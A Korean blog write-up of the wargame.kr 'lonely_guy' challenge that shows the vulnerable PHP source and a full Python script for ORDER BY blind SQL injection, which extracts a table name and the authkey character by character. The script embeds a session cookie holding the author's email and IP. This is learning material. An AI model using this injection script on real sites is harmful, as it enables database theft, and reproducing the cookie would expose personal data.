Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.
이번 포스트에서는 lonely_guy 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.
이번에는 order by를 이용하여 Blind SQLi를 이용해야 하는 문제인만큼 간단하지만은 않은 문제입니다.
더군다나 삽질하면서 연구해보았지만 제대로 사용할 수 없어서 시간을 많이 소비했습니다. ㅠㅠ
| 문제 이해 |
문제는 다음과 같습니다.
문제에서 Blind SQLi를 이용하라고 하고 order by를 이용하라고 합니다.
문제로 들어가면 다음과 같은 표가 나타나게 됩니다.
따로 입력하거나 출력이 바뀌지는 않도록 되어 있습니다.
view-source를 보면 다음과 같은 소스가 나타납니다.
<?php if (isset($_GET['view-source'])) { show_source(__FILE__); exit(); } include("./inc.php"); include("../lib.php"); //usleep(200000*rand(2,3)); if(isset($_POST['sort'])){ $sort=$_POST['sort']; }else{ $sort="asc"; } ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <style type="text/css"> body {background-color:#eaeafe;} #title {text-align:center; font-size:22pt; border:1px solid #cacaca;} #reg:hover {color:#557; cursor:pointer;} #contents {text-align:center; width:550px; margin: 30px auto;} #admin_tbl {width:100%;} #admin_tbl thead tr td {border-bottom:1px solid #888; font-weight:bold;} #admin_tbl tbody tr td {border-bottom:1px solid #aaa;} #admin_tbl #reg {width:200px;} </style> <script type="text/javascript" src="./jquery.min.js"></script> <script type="text/javascript" src="./jquery.color-RGBa-patch.js"></script> <script type="text/javascript"> var sort="<?php echo $sort; ?>"; </script> <script type="text/javascript" src="./main.js"></script> </head> <body> <div id="title"> Lonely guys Management page </div> <div id="contents"> <table id="admin_tbl"> <thead> <tr><td>the list of guys that need a girlfriend.</td><td id="reg">reg_single <sub>(sort)</sub></td></tr> </thead> <tbody> <?php mysql_query("update authkey set authkey='".auth_code('lonely guys')."'"); $sort = mysql_real_escape_string($sort); $result=mysql_query("select * from guys_tbl order by reg_date $sort"); while($row=mysql_fetch_array($result)){ echo "<tr><td>$row[1]</td><td>$row[2]</td></tr>"; } ?> </tbody> </table> </div> <div style="text-align:center;"> <a href="?view-source">view-source</a> </div> </body> </html>
9번 라인을 보면 sort 라는 값을 POST로 받는 것을 볼 수 있습니다.
또한 43번 라인을 보면 그 값이 order by 뒤에 붙는 것을 알 수 있습니다.
다만, order by reg_date 뒤에 붙기 때문에 조금 까다롭게 조건을 설정해야 합니다.
| 문제 풀이 |
문제를 풀기 앞서, 삽질한 연구 결과 먼저 작성하려 합니다.(까먹기 전에)
풀이는 [문제 풀이] 소제목으로 넘어가시면 될 것 같습니다.
|
order by 삽질 |
order by는 sql injection을 수행할 때 다음과 같은 방법으로 사용할 수 있습니다.
select * from table_name order by 1;
여기서 뒤에 숫자를 하나씩 늘려서 컬럼의 개수가 몇 개인지 알아내는 것입니다.
그렇다면 여기서, order by 1 과 같이 숫자를 이용하여 정렬을 바꿔볼까 했습니다.
select * from guys_tbl order by reg_date, if(1=1, 2, 1);
위와 같은 쿼리를 만들어 날려보았는데, reg_date 뒤의 값이 컬럼 인덱스로 인식되지 않습니다.
단, select * from guys_tbl order by reg_date, 2; 와 같이 쿼리를 날리게 되면 표의 값이 변하는 것을 볼 수 있습니다.
원인 대강 예상해보면, if문으로 리턴된 값은 단순히 int 값으로 인식하는 것 같습니다.(컬럼 인덱스가 아닌 단순 값으로 인식함)
따라서 컬럼 인덱스로 값을 넣어줄 수 없다는 것을 깨달았습니다... ㅠㅠ
그렇다면 여기서 order by 뒤에는 적절한 컬럼 이름과 함께 값을 대입해줘야 합니다.
|
문제 풀이 |
여기서 저는 guessing으로 'the list of guys that need a girfriend' 부분의 컬럼 이름이 name이겠거니 하여 name으로 값을 넣어줬습니다.
여기서 order by로 지정된 값은 가장 아래로 내려가게 됩니다.
예를 들면 order by num, name='date' 라고 하게 되면 이름이 'date'로 되어 있는 값이 가장 아래로 내려가게 됩니다.
이 원리를 이용하여 문제를 풀어보려 합니다.
하지만, 문제에서 입력된 sort 값을 mysql_real_escape_string() 함수를 통해 필터링을 주었기 때문에 따옴표는 사용이 불가능합니다.
여기서는 hex 값으로 우회가 가능합니다.
따라서 sort 안에 들어갈 값은 다음과 같습니다.
, if([값을 알아내기 위한 쿼리], name=0x6368756c2d7375, name=0x6d696e2d7375)
참일 경우 name=0x6368756c2d7375 즉, 철수가 아래로 내려오도록 하였습니다.
작성한 코드는 다음과 같습니다.
import requests import string import sys sess = requests.session() URL = 'http://wargame.kr:8080/lonely_guys/index.php' headers = {'Cookie': 'chat_id=+r; ci_session=a%3A10%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22231ebc2315c0dcfeffc74819c4e6535d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22210.217.38.14%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A114%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F73.0.3683.86+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1554693195%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22KKAMIKOON%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22hjs5576%40naver.com%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22eng%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22default%22%3Bs%3A5%3A%22point%22%3Bs%3A4%3A%224558%22%3B%7D6cb3f1381b377d42ddc075c97511e0d1b81cc668'} # ============================================================== # table ==> name, # column length == 3. ==> order by 1,2,3,4(error) # can acceptable hex values. ==> 'min-su' ==> 0x6d696e2d7375 # Get Column Counts =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=') ColumnName = b'authkey' TableLength = 0 hexColumnName = ColumnName.hex() for i in range(1, 100): payload = {'sort': ', if((select length(table_name) from information_schema.columns where column_name={})={}, name=0x6368756c2d7375, name=0x6d696e2d7375)'.format('0x'+hexColumnName,i)} res = requests.post(URL, data=payload) if 'chul-sucouple ' in res.text: # True : chul-su TableLength = i print('[=] Find Table Length : %d' % TableLength) break else: # True : min-su pass print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=') TableName = '' for j in range(1, TableLength+1): for i in range(0, 129): payload = {'sort': ', if((select substr(table_name,{},1) from information_schema.columns where column_name={})={}, name=0x6368756c2d7375, name=0x6d696e2d7375)'.format(j,'0x'+hexColumnName,hex(i))} res = requests.post(URL, data=payload) if 'chul-sucouple ' in res.text: # True : chul-su TableName += chr(i) print('[=] Find Table Word : %s' % (TableName)) break else: # True : min-su pass print('') print('[=] Find Table Name : %s' % (TableName)) print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=') # Get Element Length =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ElementLength = 0 for i in range(1,100): payload = {'sort': ', if((select length(authkey) from authkey limit 0,1)={}, name=0x6368756c2d7375, name=0x6d696e2d7375)'.format(i)} res = requests.post(URL, data=payload) if 'chul-sucouple ' in res.text: # True : chul-su ElementLength = i print('[=] Find Element Length : %d' % (ElementLength)) break else: # True : min-su pass print('=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=') # Get Element Data =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ElementData = '' for j in range(1, ElementLength+1): for i in range(1, 129): payload = {'sort': ', if((select substr(authkey,{},1) from authkey limit 0,1)={}, name=0x6368756c2d7375, name=0x6d696e2d7375)'.format(j,hex(i))} res = requests.post(URL, data=payload) if 'chul-sucouple ' in res.text: # True : chul-su ElementData += chr(i) print('[=] Find Word : %s : %s' % (chr(i), ElementData)) break else: # True : min-su pass print('[=] Find Element Data : %s' % (ElementData))
위의 소스를 쭉 돌리다 보면 다음과 같은 형태로 나오게 될 것입니다.
'WARGAMES > wargame.kr' 카테고리의 다른 글
[Wargame.kr] Level 24 - Crypto Crackme Basic (0) | 2019.06.18 |
---|---|
[Wargame.kr] Level 23 - dmbs335 (0) | 2019.06.17 |
[Wargame.kr] Level 22 - keypad_crackme (0) | 2019.06.14 |
[Wargame.kr] Level 21 - crack crack crack it (0) | 2019.06.11 |
[Wargame.kr] Level 19 - ip log table (0) | 2019.05.17 |
[Wargame.kr] Level 18 - pyc_decompile (0) | 2019.05.16 |
[Wargame.kr] Level 17 - SimpleBoard (0) | 2019.05.16 |
[Wargame.kr] Level 16 - web_chatting (0) | 2019.05.16 |